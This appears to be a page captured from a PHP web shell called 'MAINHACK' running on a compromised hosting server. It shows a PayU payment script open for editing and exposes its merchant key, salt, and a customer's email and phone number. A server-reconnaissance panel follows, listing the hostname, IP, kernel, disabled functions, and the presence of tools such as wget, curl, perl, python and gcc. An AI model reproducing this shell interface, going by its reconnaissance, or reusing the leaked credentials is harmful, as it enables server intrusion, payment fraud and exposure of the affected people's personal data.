[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.php
<?php include '../header.php'; $MERCHANT_KEY = "dDz28A"; // Merchant Salt as provided by Payu $SALT = "CDWcQgm1WVCapzxBG5rBQKdGh1XltO3h"; //$SALT = "yjrDz7IzD4";//sumatra // End point - change to https://secure.payu.in for LIVE mode $PAYU_BASE_URL = " https://secure.payu.in/_payment"; $action = ''; $posted = array(); if(!empty($_POST)) { //print_r($_POST); foreach($_POST as $key => $value) { $posted[$key] = $value; } } $formError = 0; if(empty($posted['txnid'])) { // Generate random transaction id $txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20); } else { $txnid = $posted['txnid']; } $hash = ''; // Hash Sequence $hashSequence = "key|txnid|amount|productinfo|firstname|email|udf1|udf2|udf3|udf4|udf5|udf6|udf7|udf8|udf9|udf10"; if(empty($posted['hash']) && sizeof($posted) > 0) { if( empty($posted['key']) || empty($posted['txnid']) || empty($posted['amount']) || empty($posted['firstname']) || empty($posted['email']) || empty($posted['phone']) || empty($posted['productinfo']) || empty($posted['surl']) || empty($posted['furl']) || empty($posted['service_provider']) ) { $formError = 1; } else { //$posted['productinfo'] = json_encode(json_decode('[{"name":"tutionfee","description":"","value":"500","isRequired":"false"},{"name":"developmentfee","description":"monthly tution fee","value":"1500","isRequired":"false"}]')); $hashVarsSeq = explode('|', $hashSequence); $hash_string = ''; foreach($hashVarsSeq as $hash_var) { $hash_string .= isset($posted[$hash_var]) ? $posted[$hash_var] : ''; $hash_string .= '|'; } $hash_string .= $SALT; $hash = strtolower(hash('sha512', $hash_string)); $action = $PAYU_BASE_URL . '/_payment'; } } elseif(!empty($posted['hash'])) { $hash = $posted['hash']; $action = $PAYU_BASE_URL . '/_payment'; } ?> <script> var hash = '<?php echo $hash ?>'; function submitPayuForm() { if(hash == '') { alert('blank'); return; } var payuForm = document.forms.payuForm; payuForm.submit(); } </script> <body onLoad="submitPayuForm()"> <?php if($formError) { ?> <span style="color:red"></span> <br/> <br/> <?php } ?> <form action="<?php echo $action; ?>" method="post" name="payuForm"> <input type="text" name="key" value="<?php echo $MERCHANT_KEY ?>" /> <input type="text" name="hash" value="<?php echo $hash ?>"/> <input type="text" name="txnid" value="<?php echo $txnid ?>" /> <input name="firstname" type="text" id="firstname" value="123" /> <input name="email" type="text" id="email" value="priya.pie@gmail.com"/> <input name="phone" type="text" value="9874615676" /> <textarea name="productinfo" style="display:;">123</textarea> <input name="surl" type="text" value="http://craftee.in/success.php" size="64" /> <input name="furl" type="text" value="http://craftee.in/failure.php" size="64" /> <input type="text" name="service_provider" value="payu_paisa" size="64" /> <div class="bill-box" style="background:none;"> <div class="bill-box-lt" style=""> Sub Total Rs : <b><?=$amount?> /-</b> </div> <div class="bill-box-lt" style=""> Tax Rs : <b><?=$gst?> /-</b> </div> <div class="bill-box-lt" style=""> <?=$del_label?> Rs :<b> <?=$del_amt?> /-</b> </div> <?php if($promo_code!=NULL){?> <div class="bill-box-lt" style=""> Promocode Applied<small>[<?=$promo_code?>]</small>:<b> <?=$promo_code_val?> /-</b> </div> <?php } ?> <div class="bill-box-lt" style=""> Total Payable Rs:<b> <?=$total?> /-</b> </div> <input name="amount" type="text" value="123" /> <input type="submit" value="Confirm & Pay" /> <div class="bill-box-md" style=""> <?php if($pstatus=='Online'){?> <?php if(!$hash) { ?> <?php }?><?php }else{?> <a href="bill_final.php?uid=<?=base64_encode($user_id)?>&bid=<?=base64_encode($order_id)?>" target="_blank" class="btn btn-success">Print bill</a> <?php } ?> </div> </div> </form>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619